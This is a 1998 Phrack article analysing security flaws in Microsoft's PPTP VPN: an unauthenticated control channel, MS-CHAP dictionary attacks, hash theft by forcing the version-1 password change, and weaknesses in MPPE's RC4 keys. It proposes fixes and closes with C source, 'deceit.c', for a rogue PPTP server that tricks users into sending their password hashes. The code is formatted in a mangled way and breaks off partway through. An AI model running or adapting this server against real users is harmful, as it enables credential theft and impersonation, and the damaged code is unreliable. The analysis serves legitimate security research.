---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 12 of 15
-------------------------[ The Crumbling Tunnel
--------[ aleph1 aleph1@underground.org
-[ The Crumbling Tunnel ]-
< A Menagerie of PPTP Vulnerabilities >
by aleph1@underground.org
Point-to-Point Tunneling Protocol (PPTP) is a new networking
technology that allows you to use the Internet as your own secure
virtual private network (VPN). PPTP is integrated with the Remote
Access Services (RAS) server which is built into Windows NT Server.
With PPTP, your users can dial into a local ISP, or connect directly
to the Internet, and access their network just as easily and securely
as if they were at their desks.
< http://www.microsoft.com/communications/pptp.htm >
-[ p r e f a c e ]-
This paper is a compendium of the discussions between myself and a Microsoft representative during October 1996 and May 1997 on several NT security mailing lists, the research done by Counterpane System and published in the paper "Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol (PPTP)" by B. Schneier and P. Mudge on June 1998, and a new vulnerability I have recently discovered.
-[ i n t r o d u c t i o n ]-
As stated above, the Point-to-Point Tunneling Protocol is Microsoft's attempt at creating a Virtual Private Network (VPN) protocol. Given their past history in developing and implementing protocols, an analysis of PPTP for security vulnerabilities would certainly be an interesting endeavor. The following is such an analysis.
Although this analysis is technical in nature, I will not spend the time describing exactly how each protocol works. I will assume you have done your homework and at least briefly glanced over the specifications for each of the protocols involved.
PPTP is really a number of protocols cobbled together to make a whole. The players are:
GRE - The Generic Encapsulation Protocol. The protocol is defined in RFC 1701 and RFC 1702. Microsoft has defined their own extensions. They call their modifications GRE v2.
PPP - The Point-to-Point Protocol. The protocol is defined in RFC 1661. The protocol is used for the transmission of multi-protocol datagrams over point-to-point links.
PPTP - PPTP uses GRE to tunnel PPP and adds a connections setup and control protocol over a TCP session.
MS-CHAP - This is Microsoft's variant of the more common PPP CHAP authentication protocol. It is a challenge response authentication algorithm. It supplies the challenge used by MPPE (see below) to encrypt the session. It also has two sub-protocols for changing passwords. It is defined in the draft draft-ietf-pppext-mschap-00.txt.
MPPE - Microsoft's Point-to-Point Encryption protocol. This is the protocol in charge of generating a session key and encrypting the session. It is defined in the drafts draft-ietf-pppext-mppe-00.txt and draft-ietf-pppext-mppe-01.txt.
< PPTP in a nutshell >
PPTP creates a connection setup and control channel using TCP to the PPTP server (Microsoft's RAS). Using this connection, PPTP establishes a new GRE tunnel which will carry PPP packets from the client to the server. The client will authenticate to the server via PPP's negotiation mechanism using MS-CHAP and will then encrypt all PPP data packets using MPPE.
Enough acronyms for you? Lets get dirty.
-[ P P T P ]-
PPTP creates a connection setup and control channel to the server using TCP. Originally the TCP port used was 5678. Later on it was changed to 1723. This is the IANA assigned port number. The control connection is not authenticated in any way. It is easy for Mallory (the malicious interloper) to take over the connection via TCP hijacking techniques. She can then issue Stop Session Request commands. This will close the control channel and at the same time all active calls (tunnels) will be cleared.
-[ G R E ]-
PPP packets are encapsulated in GRE and tunneled on top of IP. GRE uses IP protocol number 47. GRE packets are similar in some respects to TCP segments. They both may carry a sequence and acknowledgement number. GRE also uses a sliding window to avoid congestion.
This has some important implications. It means that if we want to spoof PPP packets encapsulated in GRE, we will desynchronize the GRE channel. A possible way around this is the use of the "S" flag in the GRE header. This flag tells the end point if the GRE packet has a sequence number. It is possible that a badly coded implementation will accept a GRE packet with data even if it does not have a sequence number. This is because in the original GRE standard the use of sequence numbers was optional. Furthermore, the specification does not mention how an end system should act if it receives a GRE packet with a duplicate sequence number. It may simply discard it and send another acknowledgement. This would mean we do not need to resynchronize GRE at all. The other end will send an acknowledgement for the packet we spoofed and the encapsulated PPP should not become desynchronized. As of this writing I haven't yet tested this possibility.
It is also interesting to note that the original GRE specification has many options to do things like source routing which are left as implementation specific. If you open a hole in your firewall for GRE just so you can use PPTP you might be letting in more than you think. This area needs further investigation.
-[ M S - C H A P ]-
MS-CHAP is a challenge response protocol. The server send the client an 8 byte challenge. The client computes a response by encrypting the challenge with the NT one way hash and then with the LANMAN one way hash.
< Dictionary Attack >
Like most other challenge/response protocols, this one is vulnerable to a dictionary by such tools as L0phtcrack. As Schneier and Mudge describe in their paper, the LANMAN based response is easier to crack than it normally is because here it is divided into three pieces which are encrypted independently. This allows for a speed up in breaking the password. Please see their paper for a detailed explanation of the process.
The PPTP Performance update for Windows NT 4.0 (PPTP2-FIX) stops the PPTP Windows NT client from sending the LANMAN hash based response if the client is configured to use 128-bit encryption. The same fix also allows the server to reject PPTP clients that attempt to authenticate using the LANMAN hash based response.
< Stealing the Password >
MS-CHAP has two sub-protocols for changing password. In version one the client encrypts the new and old hashes (NT and LANMAN) with the challenge the server sent over the wire. A passive attacker can simply decrypt the hashes and steal them.
Version two encrypts the new hashes with the old hashes and encrypts the old hashes with the new hashes. Only the server, which knows the old hashes, will be able to decrypt the new hashes and use these to decrypt the old hashes and verify the user's identity.
As I recently discovered, this feature of MS-CHAP can be used to steal the user's password hashes if Mallory can masquerade as the PPTP server. Several methods to masquerade as the server come into mind, including DNS hijacking and RIP spoofing. Once the unsuspecting user connects to Mallory's rogue server and attempts to authenticate she will return a ERRORPASSWDEXPIRE error to the user and tell the client to use the older version of the password change sub-protocol. The user will then be prompted by the PPTP client to enter his old and new password. The client will proceed to send the new and old password hashes, LANMAN and NT, encrypted with the challenge the rouge server sent. Now Mallory can use the hashes to logon into the real PPTP server and impersonate the user.
The MS-CHAP draft deprecates the use of the change password version 1 protocol but Microsoft's implementation continue to support it. This vulnerability was verified using Windows NT's RAS PPTP client with the PPTP Performance Update (PPTP2-FIX) installed. At the end you will find some source code that implements a demonstration PPTP server that asks the user to change passwords using the older protocol and prints the stolen hashes on the screen.
-[ M P P E ]-
The are two drafts for MPPE. I'll discuss the earlier one first.
MPPE uses RC4, a stream cipher, to encrypt the PPP datagrams. MPPE is negotiated as a compression protocol as part of PPP's Link Control Protocol negotiation.
< Session Keys >
MPPE currently supports 40 and 128 bit session keys, although more key lengths can be defined. The 40-bit session key is derived from the first 8 bytes of the LANMAN hash. The session key will be the same for all sessions until the user changes his password.
The 128-bit session key is created by taking the first 16 bytes of the MD4 hash and the first 16 bytes of the NT hash, and then hashing them with the servers challenge. Microsoft claims that they hash the NT hash to protect it. I fail to see their point. The password hash, nor it's hash, ever go over the wire. Why they selected this algorithm remains a mystery.
The new MPPE draft adds an option to use a 40-bit key derived from the NT hash.
As Schneier and Mudge point out, it is misleading to say MPPE provides 128-bit, or even 40-bit, security. The 40-bit LANMAN based session key is derived from the password only, and as such will have a much lower entropy than a random 40-bit key. The 128-bit and 40-bit NT hash based session keys are derived from both the users password and the server's challenge. Depending on how good the server's random number generator is, the session key may have a much lower entropy than 128 or 40 bits. A study of how Microsoft's PPTP server, and NT in general, generates random numbers would be interesting. The only way to guarantee the full strength of the key is by generating it with a good RNG.
< Attacking PPP >
As Schneier and Mudge also point, out only PPP packets with protocol numbers between 0x21 and 0xFA are encrypted (in essence only data packets are encrypted). In contrast, the PPP Encryption Control Protocol (RFC 1968) encrypts all packets other than LCP packets after ECP is negotiated.
This means Mallory can spoof Network Control Protocol packets with impunity. It also means she can obtain some useful information by simply sniffing the NCP packets. Things like whether the internal network uses IP, IPX, or NetBIOS, the internal IP address of the PPTP client, NetBIOS names, the IP address of internal WINS and DNS servers, the clients internal IPX node number and other things. Read the IPCP (RFC 13320, NBFCP (RFC 2097) and IPXCP (RFC 1552) specifications for more information.
< Breaking RC4 >
Stream ciphers, like RC4, are susceptible to attack if two or more plaintexts are encrypted with the same key. If you take two ciphertexts encrypted with the same key and xor them together you will obtain the two plaintexts xor'ed together. If you can make an educated guess as to the structure and contents of part of one of the plaintexts you will be able to obtain the corresponding plaintext in the other message.
MPPE is susceptible to such an attack. As mentioned above the 40-bit session key is the same in each session. Mallory can passively monitor the network and collect many sessions, all encrypted with the same key that she can then attempt to break. The problem is compounded since she has learned things like the clients internal IP address and its NetBIOS name which will be in the encrypted packets by monitoring the NCP PPP packets.
MPPE uses the same key in each direction. For each session at least two packets, one inbound and one outbound, will be encrypted with the same key. In this way, even traffic protected by the 128-bit unique session key can be attacked.
MPPE being a sub-protocol of PPP, a datagram protocol, does not expect a reliable link. Instead it maintains a 12-bit coherency count that is increased for each packet to keep the encryption tables synchronized. Each time the low order byte of the coherency count equals 0xFF (every 256 packets) the session key is regenerated based on the original session key and the current session key.
If MPPE ever sees a packet with a coherency that it is not expecting it sends a CCP Reset-Request packet to the other end. The other end, upon seeing this packet, will re-initialize the RC4 tables using the current session key. The next packet it sends will have the flushed bit set. This bit will indicate to the other end that it should re-initialize its own tables. In this way they become resynchronized. This mode of operation is called "stateful mode" in the new MPPE draft.
What does this all mean to us? Well, it means we can force both ends of the connection to keep encrypting their packets with the same key until the low order sequence number reaches 0xFF. For example assume Alice and Bob have just set up the communication channel. They both have initialized their session keys and expect a packet with a coherency count of zero.
Alice -> Bob
Alice sends Bob a packet numbered zero encrypted with the cipher stream generated by the RC4 cipher and increments her sent coherency count to one. Bob receives the packet, decrypts it, and increments his receive coherency count to 1.
Mallory (Bob) -> Alice
Mallory sends Alice a spoofed (remember this is datagram protocol - assuming we don't desynchronize GRE) CCP Reset-Request packet. Alice immediately re-initializes her RC4 tables to their original state.
Alice -> Bob
Alice sends another packet to Bob. This packet will be encrypted with the same cipherstream as the last packet. The packet will also have the FLUSHED bit set. This will make Bob re-initialize its own RC4 tables.
Mallory can continue to play this game up to a total of 256 times after which the session key will be changed. By this point Mallory will have collected 256 packets from Alice to Bob all encrypted with the same cipher stream.
Furthermore, since Alice and Bob start with the same session key in each direction Mallory can play the same game in the opposite direction collecting another 256 packets encrypted with the same cipher stream as the ones going from Alice to Bob.
The Apr 1998 version of the draft adds a "stateless mode" option (otherwise known as "historyless mode" in some Microsoft literature) to the negotiation packets. This option tells MPPE to change the session key after every packet and to ignore all this CCP Reset-Request and flushed bit business. This option was introduced to improve PPTP's performance. Although re-keying after each packet cuts the cipher performance by almost half, now PPTP no longer has to wait a whole round trip time to resynchronize. This, in effect improves the performance of PPTP and at the same time made the attack I describe above useless.
This new stateless mode was incorporated in the PPTP Performance Update for Windows NT 4.0 (PPTP2-FIX).
< Bit Flipping >
Schneier and Mudge describe a bit flipping attack in their paper. Because of the properties of the RC4 cipher as used within MPPE an attacker can flip bits in the ciphertext that will be decrypted correctly by MPPE. In this way an attacker can modify encrypted packets while they are in transit.
-[ i m p l e m e n t a t i o n b u g s ]-
Schneier and Mudge describe a number of implementation bugs in Microsoft's PPTP control channel that crashed Windows NT with the Blue Screen of Death. Keving Wormington has found similar problem as posted some demonstration code to the BugTraq mailing list in Nov 1997. Microsoft claims to have fixed this or similar problems in their PPTP-FIX hotfix.
Schneier and Mudge also found that the Windows 95 client does not zero fill its buffers and leaks information in its protocol packets.
A bug in the PPTP server allows clients to remain connected while packets are transmitted in the clear if the encryption negotiation between the client and server fails. This problem is documented in Microsoft's Knowledge Base article Q177670. They claim to have fixed it in the PPTP-FIX hotfix.
-[ f i x i n g t h i n g s ]-
It is interesting to note that Microsoft has chosen to omit certain vulnerabilities from their response to the Counterpane paper. Let's summarize them here so they don't get confused:
---> The control connection is not authenticated.
Microsoft claims they will enhance the control channel in future updates to authenticate each control packet.
---> The MS-CHAP LANMAN hash response is vulnerable to a dictionary attack ---| that can be speed up enormously.
The PPTP Performance Update for Windows NT 4.0 has added the option to reject PPTP clients that attempt to use the LANMAN based response. It also stops the Windows NT PPTP client from sending the LANMAN based response when it is configured to require 128-bit encryption. This is of little comfort to non-US customers that cannot use the 128-bit version of the software. Microsoft claims to be testing a Windows 95 client update, possibly DUN 1.3, that will stop clients from sending the LANMAN response. The only way for Microsoft to completely get rid of the 40-bit LANMAN hash based key and support non-US customers is for them to implement the 40-bit NT hash based session key introduced in the second MPPE draft.
---> The MS-CHAP NT hash response is vulnerable to a dictionary attack.
They must not use the password for authentication. Some sort of public key protocol would fix the problem.
---> A attacker can steal a users password hashes via the MS-CHAP password ---| change protocol version one.
They update all the clients to stop responding to password change requests using version one of the protocol.
---> The 40-bit LANMAN hash based session key is the same across sessions. ---> MPPE does not provide true 128-bit or 40-bit security.
Microsoft simply recommends that customers enforce a strong password policy. They should instead modify PPTP to generate truly random keys.
---> MPPE does not encrypt Network Control Protocol PPP packets.
NCP packets should be encrypted.
---> MPPE uses the same key in both directions.
Each direction must be started with a different key.
---> MPPE is vulnerable to a Reset-Request attack.
Microsoft has fixed this problem in the latest PPTP draft by introducing the stateless mode. The PPTP Performance Update for Windows NT 4.0 implements this mode of operation. There is no solution for Windows 95 yet. This means that if you have Windows 95 PPTP clients you are still vulnerable.
---> MPPE is vulnerable to bit flipping attacks.
They must add a MAC to each packet or use a cipher other than RC4 that does not exhibit this property.
---> There are a number of denial of service and other vulnerabilities ---| caused by implementation errors.
Microsoft claims to have fixed some of this problems with PPTP-FIX and PPTP2-FIX.
At least Microsoft should produce an Windows NT and Windows 95 PPTP update that does not use the same session keys in each direction, that does not support MS-CHAP password change protocol version one, does not send the send to LANMAN based response and supports the 40-bit NT hash based session key.
-[ f u t u r e d i r e c t i o n s ]-
Microsoft's VPN strategy appears to be moving away from PPTP and going to Layer Two Tunneling Protocol (L2TP) and IPsec. L2TP (currently an IETF draft) is a compromise between Cisco's Layer Two Forwarding (L2F), (a competing protocol) and PPTP. This is certain to take a long time and they will probably support PPTP for backwards compatibility.
L2TP is somewhat similar to PPTP. L2TP uses UDP instead of GRE to tunnel the PPP packets. Connection setup and control packets are carried within UDP. The protocol provides for the authentication of the control session via a shared secret and a challenge/response exchange. It also provides the for the hiding of sensitive information, such as username and password, by encrypting it.
Other than those simply security mechanism L2TP does not provide any security. To operate L2TP in a secure manner you must use it with either IPsec to provide authentication and confidentiality of all IP packets, or by using PPP layer security. If the former is chosen beware that the control packets can be spoofed after the authentication phase.
If Microsoft decides to go with the later choice (possible because Windows 98 will not have support for IPsec), they are well advised not to use MPPE and MS-CHAP as this would make L2TP almost as vulnerable as PPTP. They would do better implementing ECP and some of the PPP Extensible Authentication Protocol (RFC 2284) options.
For a discussion of L2TP security read the Security Considerations section of the L2TP draft.
-[ m i s c e l l a n e o u s ]-
The are a few interesting projects related to PPTP.
-> Linux PPTP Masquerading < http://bmrc.berkeley.edu/people/chaffee/linux_pptp.html >
Here you will find patches to the Linux kernel to support masquerading of PPTP connections.
-> PPTP Client for Linux < http://www.pdos.lcs.mit.edu/~cananian/Projects/PPTP/ >
Here you will find a free PPTP client implementation for Linux that should be easy to port to other platforms.
-[ s u m m a r y ]-
PPTP is a layer two tunneling protocol designed by Microsoft and some other vendors. The protocol and in particular Microsoft's implementation have a number of vulnerabilities not completely fixed by the their latest software patches and draft revisions.
PPTP will most likely stop most amateurs but by no means provides air tight security. If you have some serious security needs we recommend you look at some other solution.
The Layer Two Tunneling Protocol being defined within the IETF evolved from PPTP and Cisco's Layer Two Forwarding. It has obviously benefited from the peer review it has had within the IETF as it looks like much better protocol than PPTP. If combined with IPsec, L2TP looks like a promising solution.
-[ r e f e r e n c e s ]-
Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol (PPTP) by B. Schneier and P. Mudge < http://www.counterpane.com/pptp.html >
Generic Routing Encapsulation (GRE) (RFC 1701) < ftp://ds.internic.net/rfc/rfc1701.txt >
Generic Routing Encapsulation over IPv4 networks (RFC 1702) < ftp://ds.internic.net/rfc/rfc1702.txt >
Layer Two Tunneling Protocol "L2TP" (May 1996) < http://www.ietf.org/internet-drafts/draft-ietf-pppext-l2tp-11.txt >
Microsoft Point-To-Point Encryption (MPPE) Protocol (March 1998) < http://www.apocalypse.org/pub/internet-drafts/draft-ietf-pppext-mppe-00.txt >
Microsoft Point-To-Point Encryption (MPPE) Protocol (April 1998) < http://www.ietf.org/internet-drafts/draft-ietf-pppext-mppe-01.txt >
Microsoft PPP CHAP Extensions < http://www.ietf.org/internet-drafts/draft-ietf-pppext-mschap-00.txt >
Point-to-Point Tunneling Protocol < http://www.microsoft.com/communications/pptp.htm >
Point-to-Point Tunneling Protocol (PPTP) Technical Specification (Feb, 22 1996) < http://hooah.com/workshop/prog/prog-gen/pptp.htm >
Point-to-Point Tunneling Protocol--PPTP (Draft July 1997) < http://www.microsoft.com/communications/exes/draft-ietf-pppext-pptp-01.txt >
PPTP and Implementation of Microsoft Virtual Private Networking < http://www.microsoft.com/communications/nrpptp.htm >
PPTP Performance Update for Windows NT 4.0 Release Notes < http://support.microsoft.com/support/kb/articles/q167/0/40.asp >
PPTP Security - An Update < http://www.microsoft.com/communications/pptpfinal.htm >
RRAS Does Not Enforce String Encryption for DUN Clients < http://support.microsoft.com/support/kb/articles/q177/6/70.asp >
STOP 0x0000000A in Raspptpe.sys on a Windows NT PPTP Server < http://support.microsoft.com/support/kb/articles/q179/1/07.asp >
The Point-to-Point Protocol (PPP) (RFC 1661) < ftp://ftp.isi.edu/in-notes/rfc1661.txt >
The PPP DES Encryption Protocol (DESE) (RFC 1969) < ftp://ftp.isi.edu/in-notes/rfc1969.txt >
The PPP Encryption Control Protocol (ECP) (RFC 1968) < ftp://ftp.isi.edu/in-notes/rfc1968.txt >
The PPP Internetwork Packet Exchange Control Protocol (IPXCP) 9rFC 1552) < ftp://ftp.isi.edu/in-notes/rfc1552.txt >
The PPP NetBIOS Frames Control Protocol (NBFCP) (RFC 2097) < ftp://ftp.isi.edu/in-notes/rfc2097.txt >
---------------------8<------------CUT-HERE----------->8---------------------
<++> PPTP/deceit.c /* * deceit.c by Aleph One * * This program implements enough of the PPTP protocol to steal the * password hashes of users that connect to it by asking them to change * their password via the MS-CHAP password change protocol version 1. * * The GRE code, PPTP structures and defines were shamelessly stolen from * C. Scott Ananian's cananian@alumni.princeton.edu Linux PPTP client * implementation. * * This code has been tested to work againts Windows NT 4.0 with the * PPTP Performance Update. If the user has selected to use the same * username and password as the account they are currently logged in * but enter a different old password when the PPTP client password * change dialog box appears the client will send the hash for a null * string for both the old LANMAN hash and old NT hash. * * You must link this program against libdes. Email messages asking how * to do so will go to /dev/null. * * Define BROKENRAWCONNECT if your system does not know how to handle * connect() on a raw socket. Normally if you use connect with a raw * socket you should only get from the socket IP packets with the * source address that you specified to connect(). Under HP-UX using * connect makes read never to return. By not using connect we * run the risk of confusing the GRE decapsulation process if we receive * GRE packets from more than one source at the same time. */
include
include
include
include
include
include
include "des.h"
ifdef hpux
define uint8t uint8_t
define uint16t uint16_t
define uint32t uint32_t
endif
/* define these as appropiate for your architecture */
define hton8(x) (x)
define ntoh8(x) (x)
define hton16(x) htons(x)
define ntoh16(x) ntohs(x)
define hton32(x) htonl(x)
define ntoh32(x) ntohl(x)
define PPTP_MAGIC 0x1A2B3C4D /* Magic cookie for PPTP datagrams */
define PPTP_PORT 1723 /* PPTP TCP port number */
define PPTP_PROTO 47 /* PPTP IP protocol number */
define PPTPMESSAGECONTROL 1
define PPTPMESSAGEMANAGE 2
define PPTPVERSIONSTRING "1.00"
define PPTP_VERSION 0x100
define PPTPFIRMWARESTRING "0.01"
define PPTPFIRMWAREVERSION 0x001
/* (Control Connection Management) */
define PPTPSTARTCTRLCONNRQST 1
define PPTPSTARTCTRLCONNRPLY 2
define PPTPSTOPCTRLCONNRQST 3
define PPTPSTOPCTRLCONNRPLY 4
define PPTPECHORQST 5
define PPTPECHORPLY 6
/* (Call Management) */
define PPTPOUTCALL_RQST 7
define PPTPOUTCALL_RPLY 8
define PPTPINCALL_RQST 9
define PPTPINCALL_RPLY 10
define PPTPINCALL_CONNECT 11
define PPTPCALLCLEAR_RQST 12
define PPTPCALLCLEAR_NTFY 13
/* (Error Reporting) */
define PPTPWANERR_NTFY 14
/* (PPP Session Control) */
define PPTPSETLINK_INFO 15
/* (Framing capabilities for msg sender) */
define PPTPFRAMEASYNC 1
define PPTPFRAMESYNC 2
define PPTPFRAMEANY 3
/* (Bearer capabilities for msg sender) */
define PPTPBEARERANALOG 1
define PPTPBEARERDIGITAL 2
define PPTPBEARERANY 3
struct pptpheader { uint16t length; /* message length in octets, including header */ uint16t pptptype; /* PPTP message type. 1 for control message. / u_int32_t magic; / this should be PPTPMAGIC. */ uint16t ctrltype; /* Control message type (0-15) / u_int16_t reserved0; / reserved. MUST BE ZERO. */ };
struct pptpstartctrlconn { /* for control message types 1 and 2 */ struct pptpheader header;
uint16t version; /* PPTP protocol version. = PPTPVERSION */ uint8t resultcode; /* these two fields should be zero on rqst msg/ u_int8_t error_code; / 0 unless resultcode==2 (General Error) */ uint32t framingcap; /* Framing capabilities / u_int32_t bearer_cap; / Bearer Capabilities / u_int16_t max_channels; / Maximum Channels (=0 for PNS, PAC ignores) / u_int16_t firmware_rev; / Firmware or Software Revision / u_int8_t hostname[64]; / Host Name (64 octets, zero terminated) / u_int8_t vendor[64]; / Vendor string (64 octets, zero term.) / / MS says that end of hostname/vendor fields should be filled with / / octets of value 0, but Win95 PPTP driver doesn't do this. */ };
struct pptpoutcallrqst { /* for control message type 7 */ struct pptpheader header; uint16t callid; /* Call ID (unique id used to multiplex data) */ uint16t callsernum; /* Call Serial Number (used for logging) / u_int32_t bps_min; / Minimum BPS (lowest acceptable line speed) / u_int32_t bps_max; / Maximum BPS (highest acceptable line speed) / u_int32_t bearer; / Bearer type / u_int32_t framing; / Framing type / u_int16_t recv_size; / Recv. Window Size (no. of buffered packets) / u_int16_t delay; / Packet Processing Delay (in 1/10 sec) / u_int16_t phone_len; / Phone Number Length (num. of valid digits) / u_int16_t reserved1; / MUST BE ZERO / u_int8_t phone_num[64]; / Phone Number (64 octets, null term.) / u_int8_t subaddress[64]; / Subaddress (64 octets, null term.) */ };
struct pptpoutcallrply { /* for control message type 8 */ struct pptpheader header; uint16t callid; /* Call ID (used to multiplex data over tunnel)*/ uint16t callidpeer; /* Peer's Call ID (callid of pptpoutcallrqst)*/ uint8t resultcode; /* Result Code (1 is no errors) / u_int8_t error_code; / Error Code (=0 unless resultcode==2) */ uint16t causecode; /* Cause Code (addt'l failure information) / u_int32_t speed; / Connect Speed (in BPS) / u_int16_t recv_size; / Recv. Window Size (no. of buffered packets) / u_int16_t delay; / Packet Processing Delay (in 1/10 sec) / u_int32_t channel; / Physical Channel ID (for logging) */ };
struct pptpsetlinkinfo { /* for control message type 15 */ struct pptpheader header; uint16t callidpeer; /* Peer's Call ID (callid of pptpoutcallrqst) / u_int16_t reserved1; / MUST BE ZERO / u_int32_t send_accm; / Send ACCM (for PPP packets; default 0xFFFFFFFF)/ u_int32_t recv_accm; / Receive ACCM (for PPP pack.;default 0xFFFFFFFF)*/ };
define PPTPGREPROTO 0x880B
define PPTPGREVER 0x1
define PPTPGREFLAG_C 0x80
define PPTPGREFLAG_R 0x40
define PPTPGREFLAG_K 0x20
define PPTPGREFLAG_S 0x10
define PPTPGREFLAG_A 0x80
define PPTPGREISC(f) ((f)&PPTPGREFLAGC)
define PPTPGREISR(f) ((f)&PPTPGREFLAGR)
define PPTPGREISK(f) ((f)&PPTPGREFLAGK)
define PPTPGREISS(f) ((f)&PPTPGREFLAGS)
define PPTPGREISA(f) ((f)&PPTPGREFLAGA)
struct pptpgreheader { uint8t flags; /* bitfield / u_int8_t ver; / should be PPTPGREVER (enhanced GRE) / u_int16_t protocol; / should be PPTPGREPROTO (ppp-encaps) / u_int16_t payload_len; / size of ppp payload, not inc. gre header / u_int16_t call_id; / peer's callid for this session */ uint32t seq; /* sequence number. Present if S==1 */ uint32_t ack; /* seq number of highest packet recieved by / / sender in this session */ };
define PACKET_MAX 8196
static uint32t acksent, ackrecv; static uint32t seqsent, seqrecv; static uint16t pptpgrecall_id;
define PPP_ADDRESS 0xFF
define PPP_CONTROL 0x03
/* PPP Protocols */
define PPPPROTOLCP 0xc021
define PPPPROTOCHAP 0xc223
/* LCP Codes */
define PPPLCPCODECONFRQST 1
define PPPLCPCODECONFACK 2
define PPPLCPCODE_IDENT 12
/* LCP Config Options */
define PPPLCPCONFIGOPTAUTH 3
define PPPLCPCONFIGOPTMAGIC 5
define PPPLCPCONFIGOPTPFC 7
define PPPLCPCONFIGOPTACFC 8
/* Auth Algorithms */
define PPPLCPAUTHCHAPALGO_MSCHAP 0x80
/* CHAP Codes */
define PPPCHAPCODE_CHALLENGE 1
define PPPCHAPCODE_RESPONCE 2
define PPPCHAPCODE_SUCESS 3
define PPPCHAPCODE_FAILURE 4
define PPPCHAPCODEMSCHAPPASSWORD_V1 5
define PPPCHAPCODEMSCHAPPASSWORD_V2 6
define PPPCHAPCHALLENGE_SIZE 8
define PPPCHAPRESPONCE_SIZE 49
define MSCHAP_ERROR "E=648 R=0"
struct pppheader { uint8t address; uint8t control; uint16_t proto; };
struct ppplcpchapheader { uint8t code; uint8t ident; uint16_t length; };
struct ppplcppacket { struct pppheader ppp; struct ppplcpchapheader lcp; };
struct ppplcpchapauthoption { uint8t type; uint8t length; uint16t authproto; uint8_t algorithm; };
struct ppplcpmagicoption { uint8t type; uint8t length; uint32_t magic; };
struct ppplcppfcoption { uint8t type; uint8_t length; };
struct ppplcpacfcoption { uint8t type; uint8_t length; };
struct pppchapchallenge { uint8t size; union { unsigned char challenge[8]; struct { unsigned char lanman[24]; unsigned char nt[24]; uint8t flag; } responce; } value; /* name */ };
struct pppmschapchangepassword { char oldlanman[16]; char newlanman[16]; char oldnt[16]; char newnt[16]; uint16t passlength; uint16t flags; };
define pppchapresponce pppchapchallenge
void netinit(); void getjiggywithit(); void handleit(struct sockaddrin ); void send_start_ctrl_conn_rply(); void send_out_call_rply(struct pptp_out_call_rqst *, struct sockaddr_in *); int decaps_gre (int (cb)(void *pack, unsigned len)); int encapsgre (void *pack, unsigned len); int doppp(void *pack, unsigned len); void dogre(struct sockaddrin *); void sendlcpconfrply(void *); void sendlcpconfrqst(); void sendchapchallenge(); void sendchapfailure(); void printchallengeresponce(void *); void paydirt(void *);
char *n; int sd, rsd, pid;
void main(int argc, char **argv) { n = argv[0]; net_init(); getjiggywithit(); }
void netinit() { int yes = 1; struct sockaddrin sa;
if ((sd = socket(AFINET, SOCKSTREAM, 0)) < 0) { perror(n); exit(1); } if (setsockopt(sd, SOLSOCKET, SOREUSEADDR, &yes, sizeof(int)) != 0) { perror(n); exit(1); }
bzero((char *) &sa, sizeof(sa)); sa.sinfamily = AFINET; sa.sinport = htons(PPTPPORT); sa.sinaddr.saddr = htonl(INADDR_ANY);
if (bind(sd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror(n); exit(1); }
if (listen(sd, 5) < 0) { perror(n); exit(1); } }
void getjiggywithit() { struct sockaddr_in sa; int sucker, size; size = sizeof(sa);
if ((sucker = accept(sd, (struct sockaddr *)&sa, &size)) == -1) { perror(n); exit(1); } close(sd); sd = sucker; handleit(&sa); exit(0); }
void handleit(struct sockaddrin *sa) { union { struct pptpheader h; unsigned char buffer[8196]; } p; int hlen, len, type;
hlen = sizeof(struct pptp_header);
for(;;) { len = read(sd, p.buffer, hlen); if (len == -1) { perror(n); exit(1); } if (len != hlen) { printf("Short read.\n"); exit(1); }
len = read(sd, p.buffer + hlen, ntoh16(p.h.length) - hlen);
if (len == -1) { perror(n); exit(1); }
if (len != (ntoh16(p.h.length) - hlen)) {printf("Short read.\n"); exit(1);}
if (ntoh32(p.h.magic) != 0x1A2B3C4D) { printf("Bad magic.\n"); exit(1); }
if (ntoh16(p.h.pptp_type) != 1) {printf("Not a control message.\n");exit(1);}
type = ntoh16(p.h.ctrl_type);
switch(type)
{
/* we got a live one */
case PPTP_START_CTRL_CONN_RQST:
send_start_ctrl_conn_rply();
break;
case PPTP_OUT_CALL_RQST:
send_out_call_rply((struct pptp_out_call_rqst *)&p, sa);
break;
case PPTP_SET_LINK_INFO:
printf("<- PPTP Set Link Info\n");
break;
default:
printf("<- PPTP unknown packet: %d\n", type);
}
} }
void sendstartctrlconnrply() { struct pptpstartctrl_conn p; int len, hlen;
hlen = sizeof(struct pptpstartctrl_conn);
printf("<- PPTP Start Control Connection Request\n"); printf("-> PPTP Start Control Connection Reply\n");
bzero((char )&p, hlen); p.header.length = hton16(hlen); p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL); p.header.magic = hton32(PPTP_MAGIC); p.header.ctrl_type = hton16(PPTP_START_CTRL_CONN_RPLY); p.version = hton16(PPTP_VERSION); p.result_code = 1; p.framing_cap = hton32(PPTP_FRAME_ASYNC); / whatever / p.bearer_cap = hton32(PPTP_BEARER_ANALOG); / ditto */ bcopy("owned", p.hostname, 5); bcopy("r00t", p.vendor, 4);
len = write(sd, &p, hlen); if (len == -1) { perror(n); exit(1); } if (len != hlen) { printf("Short write.\n"); exit(1); } }
static gre = 0;
void sendoutcallrply(struct pptpoutcallrqst *r, struct sockaddrin *sa) { struct pptpoutcallrply p; int len, hlen;
hlen = sizeof(struct pptpoutcall_rply);
printf("<- PPTP Outgoing Call Request\n"); printf("-> PPTP Outgoing Call Reply\n");
pptpgrecallid = r->callid;
/* Start a process to handle the GRE/PPP packets */ if (!gre) { gre = 1; switch((pid = fork())) { case -1: perror(n); exit(1);
case 0:
close(sd);
do_gre(sa);
exit(1); /* not reached */
}
}
bzero((char )&p, hlen); p.header.length = hton16(hlen); p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL); p.header.magic = hton32(PPTP_MAGIC); p.header.ctrl_type = hton16(PPTP_OUT_CALL_RPLY); p.call_id = hton16(31337); p.call_id_peer = r->call_id; p.result_code = 1; p.speed = hton32(28800); p.recv_size = hton16(5); / whatever / p.delay = hton16(50); / whatever */ p.channel = hton32(31337);
len = write(sd, &p, hlen); if (len == -1) { perror(n); exit(1); } if (len != hlen) { printf("Short write.\n"); exit(1); }
}
struct sockaddrin srcaddr;
void dogre(struct sockaddrin *sa) {
ifndef BROKENRAWCONNECT
struct sockaddrin srcaddr;
endif
int s, n, stat;
